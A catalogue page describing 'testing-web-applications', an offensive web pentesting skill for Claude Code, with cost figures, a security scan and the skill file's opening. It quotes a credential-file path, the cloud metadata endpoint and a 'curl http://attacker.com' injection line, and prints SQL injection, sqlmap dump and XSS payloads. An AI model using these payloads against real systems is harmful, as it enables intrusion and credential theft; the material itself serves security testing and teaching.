testing-web-applications

testing-web-applications is a skill for Claude Code from trilwu/secskills. It costs 56 tokens per session (2,817 once invoked), scanned C, original, MIT.

A web application security testing guide for sites and server-backed browser applications.

In plain words
What is it for?
Use it to test XSS, SQL injection, command injection, SSRF, JWT and session security, file uploads, XXE, and other web application risks.
Why use it?
It helps find common weaknesses in login flows, permissions, input handling, file uploads, sessions, and server-side requests.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is ../../../etc/passwd.

Part of the secskills-offense plugin — 40 skills shipped together

Good fit Use it to test XSS, SQL injection, command injection, SSRF, JWT and session security, file uploads, XXE, and other web application risks.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/trilwu/secskills
agentmods
npx agentmods add skills/trilwu/secskills/testing-web-applications

Made for: Claude Code.

Or install secskills-offense, the plugin that ships this one along with the rest of its 40 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for testing-web-applications

README.md
[![agentmods](https://agentmods.dev/badge/skills/trilwu/secskills/testing-web-applications/github.svg)](https://agentmods.dev/skills/trilwu/secskills/testing-web-applications)
Your own site
<a href="https://agentmods.dev/skills/trilwu/secskills/testing-web-applications"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/testing-web-applications/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for testing-web-applications

Your own site · 80×15
<a href="https://agentmods.dev/skills/trilwu/secskills/testing-web-applications"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/testing-web-applications.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 56 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,817 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00056 $0.02817
Opus 5.5 $0.00022 $0.01127
Sonnet 5.5 $0.00011 $0.00563
Haiku 4.5 $0.00006 $0.00282

Measured 2mo ago against content hash 30a18ef20efb, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

testing-web-applications scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

~/.ssh/id_rsa

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

http://169.254.169.254/ # AWS metadata

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

& curl http://attacker.com &
secskills-offense/skills/testing-web-applications/SKILL.md · 412 lines

How it starts

The opening of the file, as written. The whole thing — 412 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Testing Web Applications

When to Use

  • Pentesting web applications
  • Testing authentication/authorization
  • Exploiting injection vulnerabilities
  • Analyzing JWT/session security
  • Testing file upload functionality
  • API security assessment

When NOT to Use

  • Source code is available — use auditing-code-for-vulnerabilities first; it finds more, faster
  • Pure API/GraphQL surface — use testing-apis
  • Reviewing a pull request — use reviewing-code-changes
  • LLM-backed features — use securing-ai-systems
  • Server fetches a user-supplied URL — use exploiting-ssrf
  • Serialized objects in cookies or parameters (rO0AB, O:, gAJ) — use exploiting-deserialization
  • GraphQL or gRPC endpoints — use attacking-graphql or attacking-grpc-protobuf
  • A JWT (eyJ...) in a header, cookie, or body — use attacking-jwt
  • An OAuth/OIDC or "Sign in with X" flow (/authorize, redirect_uri, code=) — use attacking-oauth-oidc
  • SAML SSO (SAMLResponse, <saml:Assertion>, /saml/acs) — use attacking-saml
  • An endpoint that parses XML, SVG, or Office files — use exploiting-xxe

SQL Injection

Quick Detection:

# Test basic payloads
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--

Union-Based SQLi:

# Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--

Time-Based Blind:

-- MySQL
' AND SLEEP(5)--

-- PostgreSQL
' AND pg_sleep(5)--

-- MSSQL
' WAITFOR DELAY '0:0:5'--

Automated Testing:

# SQLMap
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name

Cross-Site Scripting (XSS)

Quick Payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>

Read the full file on GitHub · 412 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 412 lines · 56 tokens per session scan C 30a18ef20efb

Subscribe to this mod's changes

testing-web-applications is a skill published in the GitHub repository trilwu/secskills (211 stars, last pushed 2mo ago), licensed MIT. It adds 56 tokens to every session and 2,817 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it C with 3 findings (reaches for credential files, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

testing-web-applications compared with skills from other repositories

testing-web-applications next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
testing-web-applicationstrilwu/secskillsSkill2112mo agoMITC56Claude Code
claude-md-improveranthropics/claude-plugins-officialSkill49kyesterdayApache-2.0A82Claude Code
agent-platform-model-registrygoogle/skillsSkill25ktodayApache-2.0A60Claude Code, Codex
gke-reliabilitygoogle/skillsSkill25ktodayApache-2.0A85Claude Code, Codex
gke-workload-securitygoogle/skillsSkill25ktodayApache-2.0A171Claude Code, Codex
google-cloud-solution-agentic-analytics-spark-knowledge-cataloggoogle/skillsSkill25ktodayApache-2.0A132Claude Code, Codex
glance-canonical-layoutsandroid/skillsSkill11k7d agoApache-2.0A56Claude Code